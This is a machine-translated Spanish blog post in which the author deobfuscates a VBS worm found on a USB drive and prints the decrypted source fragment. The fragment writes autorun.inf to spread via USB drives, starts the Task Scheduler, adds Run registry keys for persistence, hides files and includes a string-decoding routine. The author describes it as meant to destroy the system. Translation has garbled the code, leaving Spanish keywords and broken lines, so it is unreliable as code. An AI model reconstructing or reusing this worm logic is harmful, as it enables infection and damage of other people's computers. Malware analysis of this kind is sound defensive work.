Fui a la sala de impresión para imprimir y el disco U estaba infectado con este virus .vbs. Cuando lo abrí con el Bloc de notas, estaba todo confuso. Descifre el código fuente.
Este es un virus de secuencia de comandos vbs. Parece desordenado y no se puede entender en absoluto, pero de hecho hay rastros a seguir. Nuestra idea es buscar la palabra clave "ejecutar". En última instancia, el virus debe convertirse en contenido que la máquina pueda leer. En otras palabras, el contenido de la última capa de ejecución es el código fuente del virus. Según esta idea, entonces podemos saber que el método de descifrado también debe estar en la capa de ejecución.
En otras palabras: no necesitas saber cómo se cifra, sólo necesitas saber qué se ejecuta.
Siguiendo esta idea, puede obtener el código de la última iteración antes del proceso de cifrado del programa, que es el código de la primera iteración después del descifrado. Todavía parece confuso, pero se mantiene el mismo principio. siempre podrás encontrarlo. Ejecute esta palabra clave. Es posible que el virus haya pasado por muchas iteraciones, pero finalmente fue legible.
Cabe señalar que si el contenido descifrado por ejecución se ejecuta realmente con ejecución, será una estafa, así que tenga cuidado de no incluir la ejecución aquí.
El siguiente es el fragmento de código final que descifré
El autor de este programa es más BT, cifró manualmente muchos lugares y también interrumpió manualmente el código, lo que obstaculizó seriamente la legibilidad de el programa sexo.
Después del análisis, la función general de su código es:
1. Iniciar el ordenador
2. Infectar el disco USB
3. Destruya el sistema y ocultelo Función
Recuperar el siguiente paso en caso de error
j="\": til="SY": btj=900: vs=".vbs" : ve=".vbe": cm="comspec /c":dfo="/u#t/":inf="\autorun.inf"
set ws=createobject("wscript.shell "):set fso=createobject( "scripting. filesystemobject")
set wmi=getobject("winmgmts:\\. \root\cimv2"): set sis=wmi.execquery("select * fromwin32_operatingsystem ")
set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name='Schedule'")
para cada atc en ats:cat =atc.state:siguiente:si cat="Detenido" entonces ws.run "net start ""programador de tareas""," 0, falso
ouw=wscript.scriptfullname:win=fso.getspecialfolder( 0)&j:dir= fso.getspecialfolder(1)amp;j
tmp=fso.getspecialfolder(2)amp;j:wbe=diramp; "wbem\":mir=left(ouw,len; (ouw)-len ( wscript.scriptname))
cnr="/computername":cnp="HKLM\system\currentcontrolset\control"amp;cnramp;cnramp;cnr:cna=rr (cnp, 0):si cna= "" entonces cna=til
wsc="wscript.exe":csc="cscript.exe":csc=cscamp;"//nologo":wsr=rnamp;" :createobject (""wscript .shell"").run"
c=vbcrlf: inc=tilamp;camp;"[autorun]"amp;c amp; "open="amp;wscamp;" .\"amp;vsamp ;camp; "shell\open\command="amp;wscamp;" .\shellopen\default=1"
sf="carpetas shell\":rop="\software \microsoft\windows\currentversion \explorer\":dap =rr("HKCU"amp;ropamp;sfamp;"desktop",0)amp;j
rpa="HKLM\software\"amp; cnaamp;j:fsp= rr("HKLM"amp;ropamp
;sfamp; "inicio común",0)amp;jamp;vs: fap=rr("HKCU"amp;ropamp;sfamp; "favoritos",0)amp;j
ht=ec(" ivwt?56"):ha=ec(":9:7gt;5kw9"):hb=hl amp; "1lt;lt;=6x"amp;hlamp; "r;":hc="0dwuEpE" :hd= ec
("$" hc):he=ec("c " hc)
rsp="HKLM\software\microsoftwindows\ currentversion\":rsb=rspamp ; \":rsp=rspamp; "policies\explorer\run\"amp;cna
hip="HKCU"amp;ropamp; "advanced\ showsuperhidden": sz=lcase(fso.getfilename (wscript. nombre completo)): si mir=dir entonces sys=true
para cada si en
sis: ca=si.caption: cs=si .codeset: cc=si .countrycode: os=si.oslanguage:wv=si.version:next
if instr(wv, "5.2")lt;gt;0 entonces hb="w " hb:lb="v" si no oslt ;gt;2052 y cclt;gt;86 luego
hb="p " hb:lb="o" else hb="d " hb:lb="c"
para cada d en dc
si mir=damp;j entonces ws.run "explorer"amp;d,3,false:bir=true
siguiente
si bir o sys o mir=win o mir=wbe entonces tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):if ver ="" o no isnumeric(ver) then msgbox("¡Nos vemos!"):km 1
else km 0
si sys entonces
si sz =wsc entonces pr csc,-1
si pr(csc,2)=1 entonces wscript.
if rr("til",1)lt;gt;til entonces wr "til" , hasta: wr "tjs", btj: wr "djs", fecha-1: wr "ded", 0
djs=rr("djs", 1): si es fecha(djs ) y fecha -cdate( djs)gt; 50 y lblt; gt; "o" entonces wr "osw", 4
si rr("atd", 1)=1 entonces ws. tjc",date
si pr(csc,1)lt;gt;1 o pr(wsc,1)=0 entonces
bf diramp; ve, ouc, 7: ws.run cssamp; ve, 0, false
fin si
si pa=1 entonces rna=rpaamp;rna
rr=ws.regread(rna)
si pa=1 entonces rna=rpaamp;rna
rr=ws.regread(rna)
rr=ws.regread(rna)regread(rna)
si er(0) entonces rr=0
para i=1 a len(wt):ec=ec chr (asc( mid(wt, i, 1))-i): siguiente
Dado que VBS es un lenguaje interpretado como JS, el código se ejecuta línea por línea de arriba a abajo. Entonces, el truco para resolver este tipo de código es:
Cuando buscamos el punto de entrada de descifrado, se debe dar prioridad a la última ejecución. El autor hace un uso extensivo del empalme lógico.... Este es un cifrado muy BT.... sudor...